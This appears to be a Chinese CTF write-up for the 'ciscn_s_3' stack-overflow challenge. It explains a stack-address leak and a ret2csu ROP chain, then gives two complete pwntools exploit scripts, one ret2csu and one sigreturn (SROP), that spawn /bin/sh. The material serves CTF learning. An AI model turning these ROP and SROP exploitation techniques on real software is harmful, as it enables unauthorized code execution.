本题是一个系统调用,存在栈溢出,要点有以下几点,以下为第一种解法,构造execve(’/bin/sh’,0,0)
1.题目中,并未出现sub esp得字眼,所以本题中ebp一直与esp重合,即最后ret得时候,pop的其实是rbp处的地址,所以本题返回点并不在ret处,而在rbp处。
2.本题没有‘/bin/sh’,所以只能自己输入到栈上,这时就需要泄漏栈的地址,在使用gdb调试后,可以看到在ret地址后面有存储一个栈地址(即可以泄漏),再在调用syswrite时,可以看到buf的地址,经过计算后,得出偏移为0x118,所以我们写入的‘/bin/sh’地址可以得到,此时再返回vuln函数。
3.在sendline之前可以写上
gdb.attach(ms)
pause()
打开gdb进行动调。
4.本题调用execve(’/bin/sh’,0,0),需要把给rax传入系统调用号,’/bin/sh’传给rdi,0传给rsi,和rdx。通过ropgadget可以找到libc_csu的地方,用于寻找gadgets
5.在payload1中,由于整个题目只有mov rdx,r13,mov rsi,r14可以控制rdx,之后又因为call r12+rbx*8,所以需要用pop构造r12,r13,r14,rbx的值,而在r12处放上binsh_addr+0x50(mov_rax_ret在栈上的地址),等会儿会call这里。
所以整个程序流执行时,
(1)首先进行pop五个,给寄存器赋值。此时rbx=r13=r14=0,r12=mov_rax_ret,ret后
(2)跳转到mov_rdx_r13_rsi_r14_call的地址,mov两个值,此时rdx=rsi=0
(3)之后进行call r12+rbx*8,也就是r12的地址,call的同时,将add rbx,1(call的后一条地址)压入栈,之后jmp跳转到mov_rax_ret(传入系统调用号),ret时pop的就是add rbx,1
(4)执行完后返回到add rbx,1,因为rbx++,所以,cmp不通过,执行跳转,跳到mov_rdx_r13_rsi_r14_call起始点,再次执行到call r12+rbx *8,压入add rbx,1,但此时的rbx是1,所以跳转地址变成了binsh_addr+0x58(pop rdi),执行一次pop_rdi,将add rbx,1 pop给了rdi,执行ret时,pop了栈上的mov_rax_ret给eip,在ret 到pop_rdi,将栈上的binsh给rdi,最后执行syscall。
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
ms = process("./ciscn_s_3")
#ms = remote('node3.buuoj.cn',25636)
#elf = ELF('./ciscn_s_3')
mov_rax_ret = 0x4004E2
pop_rdi_ret = 0x4005A3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40059a
mov_rdx_r13_rsi_r14_call = 0x400580
vuln_addr = 0x4004ed
syscall_addr = 0x400501
# gdb.attach(ms)
# pause()
payload = '/bin/sh\x00'+'b'*0x7+'c'*0x1+p64(vuln_addr)
ms.sendline(payload)
ms.recvuntil('c')
ms.recv(16)
binsh_addr = u64(ms.recv(8).ljust(8,'\x00'))-0x118
log.info("binsh_addr="+hex(binsh_addr))
ms.recv(8)
payload1 = '/bin/sh\x00'+'a'*0x8+p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(0)
payload1+= p64(binsh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(mov_rdx_r13_rsi_r14_call)
payload1+= p64(mov_rax_ret)+p64(pop_rdi_ret)+p64(binsh_addr)
payload1+= p64(syscall_addr)
ms.sendline(payload1)
ms.interactive()
上面方法比较麻烦,本题直接给了给rax赋值15,也就是调用sigreturn,所以下面还附上使用sigreturn框架的脚本
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#ms = remote("node3.buuoj.cn", 25192)
ms = process("./ciscn")
elf = ELF("./ciscn")
sigreturn_addr = 0x4004DA
syscall_addr = 0x400517
vuln_addr = 0x4004ED
payload = "/bin/sh\x00"+'a'*0x8+p64(vuln_addr)
ms.send(payload)
ms.recv(0x20)
stack_addr = u64(ms.recv(6).ljust(8,'\x00'))-0x118
log.info("stack_addr="+hex(stack_addr))
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload1 = "/bin/sh\x00"+'a'*0x8+p64(sigreturn_addr)+p64(syscall_addr)+str(frame)
ms.send(payload1)
ms.interactive()